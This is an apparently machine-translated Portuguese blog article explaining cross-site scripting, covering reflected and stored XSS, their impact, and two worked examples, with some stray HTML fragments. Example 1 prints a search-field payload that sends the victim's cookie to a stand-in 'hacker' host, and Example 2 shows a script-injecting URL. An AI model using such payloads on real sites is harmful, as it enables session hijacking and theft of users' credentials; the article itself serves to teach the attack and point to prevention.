Conceitos chave de XSS

  • XSS é um ataque baseado na web realizado em aplicações web vulneráveis.
  • li>Em ataques XSS, a vítima é o utilizador e não a aplicação.

  • Em ataques XSS, o conteúdo malicioso é entregue aos utilizadores usando JavaScript.

Explicação de Cross-Site Scripting

Uma vulnerabilidade XSS surge quando as aplicações web tiram dados aos utilizadores e os incluem dinamicamente em páginas web sem primeiro validar devidamente os dados. As vulnerabilidades XSS permitem a um atacante executar comandos arbitrários e exibir conteúdo arbitrário no browser de um utilizador vítima. Um ataque XSS bem sucedido leva a que um agressor controle o navegador ou a conta da vítima na aplicação web vulnerável. Embora o XSS seja activado por páginas vulneráveis numa aplicação web, as vítimas de um ataque XSS são os utilizadores da aplicação, não a aplicação em si. A potência de uma vulnerabilidade XSS reside no facto de o código malicioso ser executado no contexto da sessão da vítima, permitindo ao agressor contornar as restrições normais de segurança.

Vídeo-Cross-Site Scripting Video

Exemplos de ataque XSS

XSS reflexivo

Exemplos de ataque XSS reflexivo

Existem muitas maneiras pelas quais um agressor pode induzir uma vítima a iniciar um pedido XSS reflexivo. Por exemplo, o agressor pode enviar à vítima um e-mail enganador com um link contendo JavaScript malicioso. Se a vítima clicar no link, o pedido HTTP é iniciado a partir do browser da vítima e enviado para a aplicação web vulnerável. O JavaScript malicioso é então reflectido de volta ao browser da vítima, onde é executado no contexto da sessão do utilizador vítima.

br>xss cross site scripting attack example

Persistente XSS

Considerar uma aplicação web que permite aos utilizadores introduzir um nome de utilizador que é exibido na página de perfil de cada utilizador. A aplicação armazena cada nome de utilizador numa base de dados local. Um utilizador malicioso nota que a aplicação web não higieniza o campo do nome de utilizador e introduz código JavaScript malicioso como parte do seu nome de utilizador. Quando outros utilizadores visualizam a página de perfil do atacante, o código malicioso executa automaticamente no contexto da sua sessão.

br>>persistent xss cross site scripting exampleexemplo de xss cross site scripting consistente>br>>>>p>Impacto do Cross-Site Scripting

Quando os atacantes conseguem explorar as vulnerabilidades XSS, podem obter acesso às credenciais da conta. Podem também espalhar vermes da web ou aceder ao computador do utilizador e ver o histórico do navegador do utilizador ou controlar o navegador remotamente. Depois de obterem o controlo do sistema da vítima, os atacantes podem também analisar e utilizar outras aplicações intranet.
Ao explorar vulnerabilidades XSS, um atacante pode executar acções maliciosas, tais como:

  • Hijack uma conta.
  • Disseminar worms.
  • Acesso ao histórico do navegador e ao conteúdo da área de transferência.
  • Controlar o navegador remotamente.
  • Scan e explorar aparelhos e aplicações de intranet.

Identificação de Vulnerabilidades de Cross-Site Scripting

Vulnerabilidades de XSS podem ocorrer se:

  • Ingresso em aplicações web não é validado
  • Output to the browser is not HTML encoded

XSS Exemplos

Exemplo 1.
Por exemplo, o snippet HTML:

<title>Example document: %(title)</title>

br>é destinado a ilustrar um snippet de modelo que, se o título da variável tiver valor Cross-Site Scripting, resulta no seguinte HTML a ser emitido para o navegador:

<title>Example document: XSS Doc</title>

br>Um sítio contendo um campo de pesquisa não tem o higienizador de entrada adequado. Ao criar uma consulta de pesquisa parecida com isto:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

br>sitting no outro extremo, no servidor web, estará a receber acessos onde depois de um espaço duplo é o cookie do utilizador. Se um administrador clicar no link, um atacante poderá roubar o ID da sessão e desviar a sessão.

Exemplo 2.
Suponha que existe um URL no site do Google, http://www.google.com/search?q=flowers, que devolve documentos HTML contendo o fragmento

<p>Your search for 'flowers' returned the following results:</p>

br>i.e, o valor do parâmetro de consulta q é inserido na página devolvida pelo Google. Suponhamos ainda que os dados não são validados, filtrados ou escapados.
Evil.org poderia colocar uma página que faz com que o seguinte URL seja carregado no navegador (por exemplo, num invisível<iframe>):

http://www.google.com/search?q=flowers+%3Cscript%3Eevil_script()%3C/script%3E

Quando uma vítima carrega esta página de www.evil.org, o navegador carregará o iframe a partir do URL acima. O documento carregado no iframe conterá agora o fragmento

<p>Your search for 'flowers <script>evil_script()</script>'
returned the following results:</p>

br>>Carregar esta página fará com que o navegador execute o evil_script(). Além disso, este script será executado no contexto de uma página carregada de www.google.com.

Recursos para a Prevenção de Cross-Site Scripting

Prevenção de Cross-Site Scripting deve ser abordada nas fases iniciais de desenvolvimento; no entanto, se já estiver bem encaminhado para a produção, existem ainda várias medidas de prevenção de cross-site que pode tomar para prevenir um ataque.

Este post no blog fornece um resumo do que precisa de saber sobre o Cross-Site Scripting.

XSS Cheat Sheet: Prevenir um ataque de Cross-Site Scripting

Categorias: Articles

0 comentários

Deixe uma resposta

O seu endereço de email não será publicado. Campos obrigatórios marcados com *